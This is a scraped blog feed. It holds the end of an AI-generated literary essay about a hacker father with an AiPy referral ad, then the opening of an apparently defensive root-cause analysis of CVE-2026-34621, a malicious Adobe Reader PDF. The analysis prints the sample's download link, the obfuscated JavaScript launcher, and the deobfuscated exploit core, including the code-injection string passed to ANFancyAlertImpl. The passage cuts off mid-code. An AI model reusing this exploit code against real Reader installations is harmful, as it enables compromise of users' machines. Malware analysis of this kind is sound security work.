  <p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000875" data-ratio="1.249554367201426" data-s="300,640" type="block" data-type="png" data-w="1122" src="https://wechat2rss.xlab.app/img-proxy/?k=2af17054&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLtVTwI1nmNhRPsz2p9qfhFUKWMPoVYL37gEiat3DZptpkRTLdiaAFIeAicpBicIULV5l53KbmvnibqgOPLicD6F6E26oHuTpcfLthnibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">我的父亲是黑客。这名号，在益阳小城的弄堂里传了许多年，弄堂口的青石板被雨浸得发黑，住着的都是些靠手艺吃饭的人，哪见过这号人物。起初总有人怕，说他是偷那铜钿的贼，或是破人家门户的强盗，谁家丢了半篮鸡蛋，也要斜着眼睛往我家这边望。后来渐渐知道，他偷的不是财物，是那高墙里藏着的秘密，破的不是门户，是人家画地为牢的规矩。这才把悬了许久的心放下，却依旧不远不近地站着，不肯走近。</span></p><p><span leaf="">我总见他坐在那昏黄电灯底下，窗外是弄堂里卖宵夜的吆喝声，蚊群绕着灯泡打旋。十指在键盘上翻飞，像一个老裁缝在缝补一件千疮百孔的袍子，指节因为常年敲击而凸起，像江边浸了水的鹅卵石。屏幕上是密密麻麻的字符，蓝幽幽的光映得他半边脸发青，旁人看去只觉得杂乱，他却看得清经纬——哪里有缺口，哪里有暗门，哪里藏着见不得光的勾当。夜深人静时，忽然听见他低低地笑一声，那笑声里没有欢喜，只像挖到了什么脏东西，捏着鼻子要拎出来似的。第二天那纸张打印机里吐出，上面便都是些见不得光的账目和人名，有人说这是歪门邪道，我却见他把那些见不得光的抖出来，晒在太阳底下，任蚊虫蝇蛆乱爬，也任世人来看。</span></p><p><span leaf="">小城的人终究是不懂的。走在街上，便有人在背后指指点点，说这男人原是有机会的，在市医院做过外科医生，手术刀使得稳当，好好的医生不做，偏要去做这闯墙挖洞的营生。也有穿西装的人寻到弄堂里来，皮鞋把青石板踩得噔噔响，递过黄澄澄的铜钿来，叫他去挖些人家的隐私，或是破了对手的门户，许他事成之后还有重谢。父亲总是冷笑着推开，那笑声直教人脸上挂不住，客人只好讪讪地收了钱包走。门关上后，他才说，我挖的是高墙，不是破篱笆，打的是吃人的豺狼，不是抢米的老鼠。我那时候还小，听不懂这话里的意思，只看见他把桌上的钱推得很远，像推开一堆脏东西。</span></p><p><span leaf="">这许多年过去了，小城也变了模样，弄堂口盖起了高楼，从前卖宵夜的摊子换成了闪着霓虹灯的网吧。父亲的头发白了，头顶也秃了一块，手指也不如从前灵便，逢着天阴下雨便要发麻，那键盘上磨出的凹槽，却还清晰得很，是几十年指尖磨出来的印记。如今街上的年轻人都说自己是黑客，可他们不再像父亲这般，一点一点摸索缺口，一寸一寸试探暗门，只消对着那银盒般的AI说上几句话，代码便自己流出来，漏洞也自动找出来。他们说这才是新时代的黑客，手敲键盘的古法手艺，早该进博物馆了。</span></p><p><span leaf="">父亲只是坐在门口那把旧藤椅上，藤椅被他坐得发亮，一摇便吱呀一声响。他端一杯粗茶，茶叶是城郊山上自己采的，有些涩，却耐泡。看着街上年轻人来来去去，热闹得很，他不说一句话，只把茶碗端在手里，看茶叶在水里慢慢沉下去。我有时整理他的旧物，翻出一叠叠打印纸，上面是他亲手写的注释，红笔蓝笔勾画出一条条路径，像老猎人在深山里留下的脚印。每一个字符都是他一个个试出来的，每一个漏洞都是他一天天蹲出来的，这手艺里藏着他的性子——慢慢来，找缝隙，不轻信，不放弃。</span></p><p><span leaf="">我问他，如今AI都把挖洞编程替了，你这古法黑客，还有什么用呢。他把茶碗在桌子上一顿，茶溅出几滴，落在木纹里，很快便渗了进去。说AI能找出千万个漏洞，可它分不出哪道墙后面吃着人，哪扇门后面藏着冤，哪块石头下面压着不能见天日的东西。它能写出百万行代码，可它没有几十年磨出来的这双眼睛，看不见高墙背后人心的黑暗。我们这一行，哪里是和机器打交道，分明是和人心打交道。说完便咳嗽起来，因为烟抽得多，肺里总有痰咳不干净，咳得肩膀都抖起来。窗外的夕阳斜斜照进来，把他的影子拉得很长，投在墙上，像一道不肯倒下的门。</span></p><p><span leaf="">我这才渐渐明白，父亲这一辈子，就是个古法手艺人。他用键盘做凿子，用字符做云梯，挖了一辈子别人砌的高墙。如今凿子旧了，云梯也松了，可他站在那里，就是一道门。门开着，光就能进来。</span></p><p><span leaf="">注：文章为AiPy生成（提示词仿鲁迅风格，另文章里面的地点身份是AiPy根据记忆生成），图为GPT-image-2根据文章内容生成，风格为：</span></p><blockquote class="js_blockquote_wrap"><div class="js_blockquote_digest"><p><span leaf="">一张极简风格插画，画面主体是【主体/物体】。使用干净纤细的线条描绘轮廓与结构，整体以黑白或低饱和色为主，只在局部加入少量鲜明色彩作为视觉重点。画面有大量留白，构图精致克制，现代杂志编辑插画风格，优雅、简洁、高级。不要复杂背景，不要写实摄影，不要厚重阴影，不要过多装饰。</span></p></div><p class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22article%22%3A%7B%7D%2C%22from%22%3A%22https%3A%2F%2Fx.com%2Fdotey%2Fstatus%2F2049691392364916875%22%7D"><span class="blockquote_other"><a href="https://x.com/dotey/status/2049691392364916875" target="_blank">https://x.com/dotey/status/2049691392364916875</a></span></p></blockquote><p><span leaf="">致敬古典黑客～ </span></p><blockquote><p><span leaf="">给你推荐【爱派AiPy-章鱼哥】AI助手软件，不用懂技术，只要会打字，它就能替你干活。</span></p><p><span leaf="">编EXE软件、写小说、分析复杂数据、处理文档、做教育课件、生成PPT、控制浏览器爬数据都可以。</span></p><p><span leaf="">现在使用我给你的链接下载安装注册，就能获得 ¥25.0元 的免费额度：</span></p><p><span leaf=""><a href="https://www.aipyaipy.com/?referral=aipy_sE5B" target="_blank">https://www.aipyaipy.com/?referral=aipy_sE5B</a></span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4c60b961&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484526%26idx%3D1%26sn%3D7dc32c5246dc1171a6f704ee34ea3036">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Apr 2026 22:43:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2026-34621 Root Cause Analysis</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484521&amp;idx=1&amp;sn=f85a7ae0d8375841ac57664a7631a0d8</link>
      <description>前言    马三同志一直告诫我们老同志不要那么卷，其实我也觉得老同志还在做这种漏洞分析是不太合适的，但是实在是</description>
      <content:encoded><![CDATA[<p>原创 <span>heige</span> <span>2026-04-16 16:38</span> <span style="display: inline-block;">美国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3cac3512&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FxTZfvDhkzLsWeTnCDqBkoiculmQhpxakHOd5s4D2JNicd6stpQ1nYQ1qouTymPN91nphaoIkvcsShWYdicGib4G1JXPdvCLiawFlC3SyDkHtUZwE%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>前言    马三同志一直告诫我们老同志不要那么卷，其实我也觉得老同志还在做这种漏洞分析是不太合适的，但是实在是</p>
  <p><span leaf="">前言</span></p><p><span leaf="">    马三同志一直告诫我们老同志不要那么卷，其实我也觉得老同志还在做这种漏洞分析是不太合适的，但是实在是没办法，忍不住～～</span></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">一、分析对象</span></span></p><p><span leaf="">也就是样本来源：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><code><span leaf=""><span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/bazaar.abuse.ch/download/54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f/</span></span></code></pre></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">二、分析</span></span></p><p><span leaf="">这个pdf没有经过压缩处理，直接可以看原始的pdf结构的代码，使用文本编辑器打开就行，先找到：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf=""><span class="code-snippet__number">11</span> <span class="code-snippet__number">0</span> obj</span></code><br/><code><span leaf="">&lt;&lt; /Names <span class="code-snippet__selector-attr">[ (PrintReport_54) &lt;&lt; /JS (app.t = app[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;s&#34;</span></span><span class="code-snippet__selector-attr">+\({}+[]</span>\)<span class="code-snippet__selector-attr">[[+!+[]</span>]+<span class="code-snippet__selector-attr">[+!+[]</span>]]+&#34;tTim&#34;+\({}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[[+!+[]</span>]+<span class="code-snippet__selector-attr">[+!+[]</span>]]+&#34;Out&#34;]\(util<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;str&#34;</span></span><span class="code-snippet__selector-attr">+\(!+[]</span>/+<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[!+[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>]+&#34;ngFromStr&#34;+\({}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[[+!+[]</span>]+<span class="code-snippet__selector-attr">[+!+[]</span>]]+\(+{}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[+!+[]</span>]+&#34;m&#34;]\(SOAP<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;stre&#34;</span></span><span class="code-snippet__selector-attr">+\(+{}+[]</span>\)<span class="code-snippet__selector-attr">[+!+[]</span>]+&#34;mD&#34;+\({}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[[+!+[]</span>]+<span class="code-snippet__selector-attr">[+!+[]</span>]]+&#34;cod&#34;+\({}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[[+!+[]</span>]+<span class="code-snippet__selector-attr">[+!+[]</span>]]]\(util<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;str&#34;</span></span><span class="code-snippet__selector-attr">+\({}+[]</span>\)<span class="code-snippet__selector-attr">[[+!+[]</span>]+<span class="code-snippet__selector-attr">[+!+[]</span>]]+\(+{}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[+!+[]</span>]+&#34;mFromStr&#34;+\(!+<span class="code-snippet__selector-attr">[]</span>/+<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[!+[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>]+&#34;ng&#34;]\(getField\(\({}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[!+[]</span>+!+<span class="code-snippet__selector-attr">[]</span>]+\(!!<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[+[]</span>]+\(<span class="code-snippet__selector-attr">[][[]</span>]+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[+!+[]</span>]+\(+!+<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)\)<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#34;v&#34;</span></span><span class="code-snippet__selector-attr">+\(+{}+[]</span>\)<span class="code-snippet__selector-attr">[+!+[]</span>]+\(!<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[!+[]</span>+!+<span class="code-snippet__selector-attr">[]</span>]+&#34;ue&#34;]\), \({}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[!+[]</span>+!+<span class="code-snippet__selector-attr">[]</span>]+\(+{}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[+!+[]</span>]+\(!<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[!+[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>]+\({}+<span class="code-snippet__selector-attr">[]</span>\)<span class="code-snippet__selector-attr">[[+!+[]</span>]+<span class="code-snippet__selector-attr">[+!+[]</span>]]+\(!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)+\(!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+!+<span class="code-snippet__selector-attr">[]</span>+<span class="code-snippet__selector-attr">[]</span>\)\)\), <span class="code-snippet__number">500</span>\);) /S /JavaScript &gt;&gt; ] &gt;&gt;</span></code><br/><code><span leaf="">endobj</span></code><br/></pre></p><p><span leaf="">现在居然还用这种，想当年也是看这这种写法被折腾出来的，现在有大模型了，很简单了：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">app.t</span> = app.setTimeOut(util.stringFromStream(SOAP.streamDecode(util.streamFromString(getField(<span class="code-snippet__string">&#34;btn1&#34;</span>).value),<span class="code-snippet__string">&#34;base64&#34;</span>)),<span class="code-snippet__number">500</span>)<span class="code-snippet__comment">;</span></span></code></pre></p><p><span leaf="">其实我觉得在恶意操作里用这种方式是非常sb的事情，你想啊哪里有正常人去折腾写这么个代码呢？（当然喜欢装x的除外！问题是现在这么多年过去了用这个也不好装了吧）</span></p><p><span leaf="">上面这个代码就很好理解了，在getField(&#34;btn1&#34;).value 对应的obj的里值 base64编码的就是恶意代码里，找下&#34;btn1&#34; 就能找到：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf=""><span class="code-snippet__number">9</span> <span class="code-snippet__number">0</span> obj</span></code><br/><code><span leaf="">[ <span class="code-snippet__operator">&lt;&lt;</span> <span class="code-snippet__regexp">/FT /</span><span class="code-snippet__type">Btn</span> <span class="code-snippet__regexp">/P 5 0 R /</span><span class="code-snippet__type">Rect</span> [ <span class="code-snippet__number">0</span> <span class="code-snippet__number">0</span> <span class="code-snippet__number">0</span> <span class="code-snippet__number">0</span> ] <span class="code-snippet__regexp">/Subtype /</span><span class="code-snippet__type">Widget</span> <span class="code-snippet__regexp">/T (btn1) /</span><span class="code-snippet__type">Type</span> <span class="code-snippet__regexp">/Annot /</span><span class="code-snippet__type">V</span> <span class="code-snippet__operator">/</span>dmFyIGEwXzB4NDcxZWZmPWEwXzB4MjNjMjsoZnVuY3Rpb24oX<span class="code-snippet__operator">...</span></span></code><br/><code><span leaf=""><span class="code-snippet__operator">&gt;&gt;</span> ]</span></code><br/><code><span leaf="">endobj</span></code><br/></pre></p><p><span leaf="">一个小坑</span></p><p><span leaf="">把上面pdf里这个“base64编码”的字符串cp出来，当然这个过程你也可以AiPy等智能体直接操作，然后解码你会发现一个问题，解码不完整，后面还有一坨了乱码。</span></p><p><span leaf="">用AiPy调用模型，发现里面有#，这个肯定在base64里是不正常的，然后把这个# 处理掉后，解码出了大部分的逻辑，但是中间还是有一段乱码！</span></p><p><span leaf="">最后通过ChatGPT 分析了下，是 <a class="wx_topic_link" topic-id="mo17pawc-tz2fq6" style="color: #576B95 !important;" data-topic="1" data-recommend="">#2f</a> 导致的问题，<a class="wx_topic_link" topic-id="mo17pawc-qg0ddj" style="color: #576B95 !important;" data-topic="1" data-recommend="">#2f</a> --&gt; / 然后在pdf函数处理 getField(&#34;btn1&#34;).value 取值会把 <a class="wx_topic_link" topic-id="mo17pawc-fd6wvs" style="color: #576B95 !important;" data-topic="1" data-recommend="">#2f</a> 还原为 /  所以在攻击样本了完全没问题的</span></p><p><span leaf="">这个是一个小坑，不知道是不是攻击者故意的还是无意的，但是这个小坑难到了很多的大模型Agent，而ChatGPT调用的GPT5.4 毫无压力基本上是直接就给出了。</span></p><p><span leaf="">可读</span></p><p><span leaf="">base64完美解码后的代码，很明显就是混淆压缩过的，完全不存在可读性，直接AiPy给出了完美的可读版本的js</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000869" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=96ffe9be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLsg5Io6GnUE0Kcu75WcRibm76QeD4GvFE6mlhxdribjVfK90dRWDsbqzzogW5D3GicD5A9VGwtwL8VGCNACDHoMfOnXjKT2m0jdI4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000870" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4e129e81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLuYWmWs1jSjSDJMq8aX1E3sXKNYpcBGvJCh8xnnoWphbmmqzI5MbnW0f3FFD0783T5k5Qh2wz9L4M1YicTKdzGRRCJeRVfbRV7k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">三 漏洞根因</span></span></p><p><span leaf="">这个样本最早是lihaifei的EXPMON抓到的 </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">https</span>://justhaifei1.blogspot.com/<span class="code-snippet__number">2026</span>/<span class="code-snippet__number">04</span>/expmon-detected-sophisticated-zero-day-adobe-reader.html</span></code></pre></p><p><span leaf="">然后在很多关注恶意样本分析的人和公司都做了跟进分析，比较好：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//gist.github.com/N3mes1s/9e55e8d781235ee256d5b3f6720222dd </span></span></code></pre></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">https</span>://www.joesandbox.com/joereverser/analysis/download/dcd9f8ca-e3d0-<span class="code-snippet__number">49</span>f1-<span class="code-snippet__number">8</span>f94-<span class="code-snippet__number">9</span>cc76acdce88?type=html</span></code></pre></p><p><span leaf="">可惜的是，都没有关注到漏洞本身的分析，对于这种WSL风格的漏洞，那么多年过去了我还是比较感兴趣的。核心漏洞代码（来源于AiPy生成可读版）：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__comment">/**</span></span></code><br/><code><span leaf=""> * 漏洞利用主函数</span></code><br/><code><span leaf=""> */</span></code><br/><code><span leaf=""><span class="code-snippet__variable">global</span>.<span class="code-snippet__property">reindeer</span> = <span class="code-snippet__function">() =&gt;</span> {</span></code><br/><code><span leaf="">    <span class="code-snippet__variable">global</span>.<span class="code-snippet__property">exec</span> = <span class="code-snippet__keyword">function</span>(<span class="code-snippet__params">func, context, args</span>) {</span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">            stream = {</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;read&#39;</span>: app.<span class="code-snippet__property">importDataObject</span>[<span class="code-snippet__string">&#39;getDataObject&#39;</span>](app, args[<span class="code-snippet__number">0</span>])</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            ob = {</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;getFullName&#39;</span>: <span class="code-snippet__variable">SOAP</span>[<span class="code-snippet__string">&#39;operation&#39;</span>][<span class="code-snippet__string">&#39;invoke&#39;</span>](<span class="code-snippet__variable">SOAP</span>, stream)</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            <span class="code-snippet__title">Object</span>.<span class="code-snippet__property"><span class="code-snippet__keyword">prototype</span></span>.<span class="code-snippet__title">__defineGetter__</span>(<span class="code-snippet__string">&#39;swConn&#39;</span>, <span class="code-snippet__function">() =&gt;</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span> ob;</span></code><br/><code><span leaf="">            });</span></code><br/><code><span leaf="">            data = { <span class="code-snippet__string">&#39;WT&#39;</span>: <span class="code-snippet__string">&#39;&#39;</span> };</span></code><br/><code><span leaf="">            <span class="code-snippet__variable">this</span>.<span class="code-snippet__title">__defineGetter__</span>(<span class="code-snippet__string">&#39;isDocReadOnly&#39;</span>, <span class="code-snippet__literal">false</span>);</span></code><br/><code><span leaf="">            pwnobj = {</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;lastIndexOf&#39;</span>: <span class="code-snippet__title">SilentDocCenterLogin</span>[<span class="code-snippet__string">&#39;invoke&#39;</span>](app, data, {}),</span></code><br/><code><span leaf="">                <span class="code-snippet__string">&#39;substring&#39;</span>: <span class="code-snippet__function">() =&gt;</span> { <span class="code-snippet__keyword">throw</span> <span class="code-snippet__title">Error</span>(<span class="code-snippet__string">&#39;&#39;</span>); }</span></code><br/><code><span leaf="">            };</span></code><br/><code><span leaf="">            <span class="code-snippet__variable">this</span>.<span class="code-snippet__title">__defineGetter__</span>(<span class="code-snippet__string">&#39;path&#39;</span>, <span class="code-snippet__function">() =&gt;</span> {</span></code><br/><code><span leaf="">                <span class="code-snippet__keyword">return</span> pwnobj;</span></code><br/><code><span leaf="">            });</span></code><br/><code><span leaf="">            <span class="code-snippet__title">ANShareFile</span>({ <span class="code-snippet__string">&#39;doc&#39;</span>: <span class="code-snippet__built_in">eval</span>(<span class="code-snippet__string">&#39;this&#39;</span>) });</span></code><br/><code><span leaf="">        } <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf="">    };</span></code><br/><code><span leaf="">};</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// ============================================================================</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 第四部分：攻击执行流程</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">// ============================================================================</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 触发漏洞利用的按钮配置</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">var</span> buttons = {</span></code><br/><code><span leaf="">    <span class="code-snippet__string">&#39;a(a(a\&#39;); }); global.reindeer(); throw Error(\&#39;oops\&#39;); //&#39;</span>: <span class="code-snippet__number">0x0</span></span></code><br/><code><span leaf="">};</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">    <span class="code-snippet__title">ANFancyAlertImpl</span>(<span class="code-snippet__string">&#39;&#39;</span>, [], <span class="code-snippet__number">0x0</span>, buttons, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>);</span></code><br/><code><span leaf="">} <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 清理原型链污染</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">delete</span> <span class="code-snippet__title">Object</span>.<span class="code-snippet__property"><span class="code-snippet__keyword">prototype</span></span>.<span class="code-snippet__property">swConn</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 执行漏洞利用函数</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">global</span>.<span class="code-snippet__title">exec</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">trustedFunction</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__variable">global</span>.<span class="code-snippet__title">deer</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">deer</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__variable">global</span>.<span class="code-snippet__title">exec</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">getOS</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__variable">global</span>.<span class="code-snippet__title">exec</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">isReader64bit</span>);</span></code><br/><code><span leaf=""><span class="code-snippet__variable">global</span>.<span class="code-snippet__title">exec</span>(<span class="code-snippet__variable">global</span>.<span class="code-snippet__property">getProdVersionString</span>);</span></code><br/></pre></p><p><span leaf="">所以真正的漏洞的根因应该是：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">var</span> buttons = {</span></code><br/><code><span leaf="">    <span class="code-snippet__string">&#39;a(a(a\&#39;); }); global.reindeer(); throw Error(\&#39;oops\&#39;); //&#39;</span>: <span class="code-snippet__number">0x0</span></span></code><br/><code><span leaf="">};</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span> {</span></code><br/><code><span leaf="">    <span class="code-snippet__title">ANFancyAlertImpl</span>(<span class="code-snippet__string">&#39;&#39;</span>, [], <span class="code-snippet__number">0x0</span>, buttons, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>, <span class="code-snippet__number">0x0</span>);</span></code><br/><code><span leaf="">} <span class="code-snippet__keyword">catch</span> (e) {}</span></code><br/></pre></p><p><span leaf="">以我几十年脚本小子的经验告诉我，这个buttons 存在代码注入的问题，为了看ANFancyAlertImpl这个函数到底是怎么实现的，我不得不启动了2018年跟着Swan师傅搞pdf Fuzzing的虚拟机...</span></p><p><span leaf="">其实要看ANFancyAlertImpl()代码非常简单，做个简单原始格式的pdf（如果嫌弃麻烦你用大模型帮你生成一个），然后加入JS的obj执行：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__variable">console</span>.<span class="code-snippet__title">show</span>();</span></code><br/><code><span leaf=""><span class="code-snippet__variable">console</span>.<span class="code-snippet__title">println</span>(<span class="code-snippet__title">ANFancyAlertImpl</span>);</span></code><br/></pre></p><p><span leaf="">你就可以看到ANFancyAlertImpl函数的代码了：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf="">function <span class="code-snippet__title">ANFancyAlertImpl</span><span class="code-snippet__params">(title, content, tip, buttons, dontShowMeAgain, ok, cancel, other, width)</span></span></code><br/><code><span leaf="">	{</span></code><br/><code><span leaf="">		<span class="code-snippet__type">var</span> <span class="code-snippet__variable">alertWidth</span> <span class="code-snippet__operator">=</span> width ? width : Collab.AlertWithHelpWidth ;</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// skeletal layout description</span></span></code><br/><code><span leaf="">		<span class="code-snippet__type">var</span> <span class="code-snippet__variable">desc</span> <span class="code-snippet__operator">=</span> {</span></code><br/><code><span leaf="">			content: content,</span></code><br/><code><span leaf="">			dontShowMeAgain: dontShowMeAgain</span></code><br/><code><span leaf="">		};</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// content eelment array</span></span></code><br/><code><span leaf="">		<span class="code-snippet__type">var</span> <span class="code-snippet__variable">ca</span> <span class="code-snippet__operator">=</span> [];</span></code><br/><code><span leaf="">		<span class="code-snippet__comment">// for each &#34;content&#34; element</span></span></code><br/><code><span leaf="">		<span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">var</span> i in content)</span></code><br/><code><span leaf="">		{</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">cc</span> <span class="code-snippet__operator">=</span> content[i];</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">cid</span> <span class="code-snippet__operator">=</span> <span class="code-snippet__string">&#34;icn&#34;</span> + i;</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">item</span> <span class="code-snippet__operator">=</span> [];</span></code><br/><code><span leaf="">			<span class="code-snippet__type">var</span> <span class="code-snippet__variable">header</span> <span class="code-snippet__operator">=</span> undefined;</span></code><br/><code><span leaf="">			<span class="code-snippet__keyword">if</span>(cc.header)</span></code><br/><code><span leaf="">				header = {</span></code><br/><code><span leaf="">					type: <span class="code-snippet__string">&#34;static_text&#34;</span>,</span></code><br/><code><span leaf="">					name: cc.header,</span></code><br/><code><span leaf="">					font: <span 